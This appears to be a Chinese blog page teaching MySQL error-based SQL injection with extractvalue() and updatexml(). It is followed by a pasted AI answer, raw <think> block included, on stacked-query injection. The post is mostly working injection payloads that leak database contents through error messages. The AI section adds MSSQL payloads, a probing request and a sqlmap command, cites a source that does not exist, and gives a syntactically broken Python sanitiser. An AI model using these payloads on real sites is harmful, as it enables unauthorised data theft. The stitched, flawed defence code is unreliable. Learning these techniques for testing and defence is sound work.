学习基于extractvalue()和updatexml()的报错注入

extractvalue()

extractvalue() :对XML文档进行查询的函数

其实就是相当于我们熟悉的HTML文件中用 <div><p><a>标签查找元素一样

语法:extractvalue(目标xml文档,xml路径)

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错

select username from security.user where id=1 and (extractvalue(‘anything’,’/x/xx’))


使用concat()拼接 ‘  /  ‘ 效果相同,

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘/’,(select database()))))

这里在’anything’中查询不到 位置是 /database()的内容,

但也没有语法错误,不会报错,下面故意写入语法错误:

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))

可以看出,以~开头的内容不是xml格式的语法,报错,但是会显示无法识别的内容是什么,这样就达到了目的。

有一点需要注意,extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位

这里查询前5位示意:

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘#’,substring(hex((select database())),1,5))))


updatexml()

updatexml()函数与extractvalue()类似,是更新xml文档的函数。

语法updatexml(目标xml文档,xml路径,更新的内容)

select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))


报错方式相同:

select username from security.user where id=1 and (updatexml(‘anything’,concat(‘~’,(select database())),’anything’))

同样是32位查询。

转载指明出处

文章同步到我的博客: http://119.23.249.120/archives/256
<think>嗯,用户问的是关于基于堆叠注入SQL报错注入技术。首先,我需要回忆一下堆叠注入报错注入的基本概念。堆叠注入(Stacked Queries)允许攻击者通过分号分隔执行多个SQL语句,这在某些数据库如MySQL中可能受限,但在MSSQL或PostgreSQL中可能有效。而报错注入(Error-based)则是利用数据库的错误信息来获取数据,比如通过故意引发错误来泄露信息。 用户可能已经了解基本的SQL注入,现在想深入这两种技术的结合使用。需要解释堆叠注入如何与报错注入结合,可能的应用场景步骤。比如,攻击者可能先注入一个导致错误的语句,然后通过错误消息获取数据。 然后,我需要考虑实际例子,比如在MSSQL中使用convert函数引发类型转换错误,或者在MySQL中使用updatexml函数。同时,要提到工具如sqlmap的支持,以及如何防范这种攻击,比如参数化查询输入过滤。 另外,用户可能对防御措施感兴趣,所以需要详细说明预防方法,如使用ORM框架、最小权限原则错误信息处理。还要注意引用之前的资料,比如引用中的Chris AnleyFerruh Mavituna的资料,但用户提供的引用可能不直接相关,所以需要适当参考。 最后,生成相关问题时要覆盖技术原理、工具使用、防御实际案例,确保问题有针对性,帮助用户进一步学习。</think># SQL堆叠查询与报错注入技术解析 ## 一、技术原理 1. **堆叠查询(Stacked Queries)** 通过分号`;`分隔执行多个SQL语句的特性,允许攻击者注入额外查询。例如: ```sql SELECT * FROM users WHERE id=1; WAITFOR DELAY '0:0:5' -- ``` 在支持多语句执行的数据库(如MSSQL、PostgreSQL)中,可执行任意操作[^2]。 2. **报错注入(Error-based)** 利用数据库错误响应获取信息,常用函数包括: - MSSQL: `convert()`类型转换错误 - MySQL: `updatexml()`XML解析错误 - PostgreSQL: `cast()`类型转换错误 典型Payload示例: ```sql SELECT 1/@@version; -- MSSQL版本信息泄露 ``` ## 二、组合攻击步骤 1. **探测注入点** ```http GET /product?id=1' AND 1=convert(int,@@version)-- HTTP/1.1 ``` 通过错误响应判断数据库类型版本 2. **构造复合Payload** ```sql '; BEGIN DECLARE @result varchar(8000) SET @result=(SELECT TOP 1 column_name FROM information_schema.columns) SELECT convert(int,@result) END;-- ``` 通过类型转换错误返回查询结果 3. **数据提取** 分阶段获取数据库结构: ```sql '; SELECT 1/COL_LENGTH('users','username'); -- ``` ## 三、技术限制与绕过 | 数据库 | 堆叠查询支持 | 常见报错函数 | |--------------|--------------|---------------------| | MySQL | 部分场景 | updatexml(), extractvalue() | | MSSQL | 支持 | convert(), openquery() | | PostgreSQL | 支持 | cast(), generate_series() | **特殊场景处理**: - 使用`TRY...CATCH`绕过错误过滤(MSSQL) - 结合`XML`函数二次编码(MySQL) - 利用`CTE`表达式链式查询(PostgreSQL) ## 四、防御方案 1. **输入验证** ```python # 使用正则过滤特殊字符 import re def sanitize_input(input_str): return re.sub(r'[;'"\\]', '', input_str) ``` 2. **参数化查询** ```csharp // C#示例 SqlCommand cmd = new SqlCommand("SELECT * FROM Users WHERE ID = @id"); cmd.Parameters.AddWithValue("@id", userInput); ``` 3. **错误处理配置** - 生产环境禁用详细错误信息 - 设置自定义错误页面 - 限制数据库用户权限 ## 五、检测工具 使用sqlmap进行自动化检测: ```bash sqlmap -u "http://example.com/page?id=1" --technique=E --batch --dbms=mssql ``` 参数说明: - `--technique=E` 指定报错注入 - `--union-char` 自定义联合查询字符 - `--prefix`/`--suffix` 指定闭合方式
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值